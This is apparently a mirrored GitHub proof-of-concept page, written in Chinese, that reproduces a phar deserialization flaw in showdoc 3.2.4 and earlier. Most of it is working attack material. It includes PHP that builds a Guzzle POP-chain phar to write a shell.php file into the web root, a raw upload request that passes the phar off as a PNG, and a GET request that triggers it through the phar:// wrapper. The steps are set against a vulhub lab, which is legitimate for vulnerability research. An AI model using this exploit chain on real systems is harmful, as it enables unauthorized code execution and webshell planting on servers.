mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
124 lines
3.9 KiB
Markdown
124 lines
3.9 KiB
Markdown
## showdoc<=3.2.4 phar反序列漏洞复现
|
||
|
||
环境:https://github.com/vulhub/vulhub/tree/master/showdoc/3.2.5-sqli
|
||
|
||
### 生成phar
|
||
|
||
```php
|
||
<?php
|
||
|
||
namespace GuzzleHttp\Cookie{
|
||
|
||
class SetCookie {
|
||
private static $defaults = [
|
||
'Name' => null,
|
||
'Value' => null,
|
||
'Domain' => null,
|
||
'Path' => '/',
|
||
'Max-Age' => null,
|
||
'Expires' => null,
|
||
'Secure' => false,
|
||
'Discard' => false,
|
||
'HttpOnly' => false
|
||
];
|
||
function __construct()
|
||
{
|
||
$this->data['Expires'] = '<?php phpinfo();?>';
|
||
$this->data['Discard'] = 0;
|
||
}
|
||
}
|
||
|
||
class CookieJar{
|
||
private $cookies = [];
|
||
private $strictMode;
|
||
function __construct() {
|
||
$this->cookies[] = new SetCookie();
|
||
}
|
||
}
|
||
|
||
class FileCookieJar extends CookieJar {
|
||
private $filename;
|
||
private $storeSessionCookies;
|
||
function __construct() {
|
||
parent::__construct();
|
||
$this->filename = "/var/www/html/shell.php";
|
||
$this->storeSessionCookies = true;
|
||
}
|
||
}
|
||
}
|
||
|
||
namespace{
|
||
$pop = new \GuzzleHttp\Cookie\FileCookieJar();
|
||
$phar = new \Phar("y4tacker.phar");
|
||
$phar->startBuffering();
|
||
$phar->setStub('GIF89a'."__HALT_COMPILER();");
|
||
$phar->setMetadata($pop);
|
||
$phar->addFromString("test.txt", "test");
|
||
$phar->stopBuffering();
|
||
}
|
||
```
|
||
|
||
### 文件上传
|
||
|
||
将生成的y4tacker.phar 命名为y4tacker.png,并上传到目标服务器上
|
||
|
||
user_token 可以使用 [showdoc<=3.2.5 注入漏洞](https://github.com/vulhub/vulhub/tree/master/showdoc/3.2.5-sqli)
|
||
|
||

|
||
|
||
```
|
||
POST /server/index.php?s=/api/page/upload HTTP/1.1
|
||
Host: 172.17.187.187:4999
|
||
Accept-Encoding: gzip, deflate
|
||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryouyPGbWFA31vLr9M
|
||
Referer: http://172.17.187.187:4999/web/
|
||
Accept-Language: zh-CN,zh;q=0.9
|
||
Origin: http://172.17.187.187:4999
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
|
||
Accept: */*
|
||
Content-Length: 1383
|
||
|
||
------WebKitFormBoundaryouyPGbWFA31vLr9M
|
||
Content-Disposition: form-data; name="page_id"
|
||
|
||
191212032
|
||
------WebKitFormBoundaryouyPGbWFA31vLr9M
|
||
Content-Disposition: form-data; name="item_id"
|
||
|
||
646578755a
|
||
------WebKitFormBoundaryouyPGbWFA31vLr9M
|
||
Content-Disposition: form-data; name="user_token"
|
||
|
||
271e074d6f1a642a9da4dca75579066a77045d9e8846a349465f7ac9717d70f1
|
||
------WebKitFormBoundaryouyPGbWFA31vLr9M
|
||
Content-Disposition: form-data; name="file"; filename="y4tacker.png"
|
||
Content-Type: image/png
|
||
|
||
{{file(C:\Penetration\TrafficTools\phpStudy\WWW\y4tacker.png)}}
|
||
------WebKitFormBoundaryouyPGbWFA31vLr9M--
|
||
|
||
```
|
||
|
||

|
||
|
||
访问链接获取上传的文件路径
|
||
|
||

|
||
|
||
### 触发phar反序列漏洞
|
||
|
||
```
|
||
GET /server/index.php?s=/home/index/new_is_writeable&file=phar://../Public/Uploads/2024-06-07/6662c593a97fe.png HTTP/1.1
|
||
Host: 172.17.187.187:4999
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||
Accept-Encoding: gzip, deflate
|
||
Accept-Language: zh-CN,zh;q=0.9
|
||
Upgrade-Insecure-Requests: 1
|
||
```
|
||
|
||

|
||
|
||

|
||
|
||
 |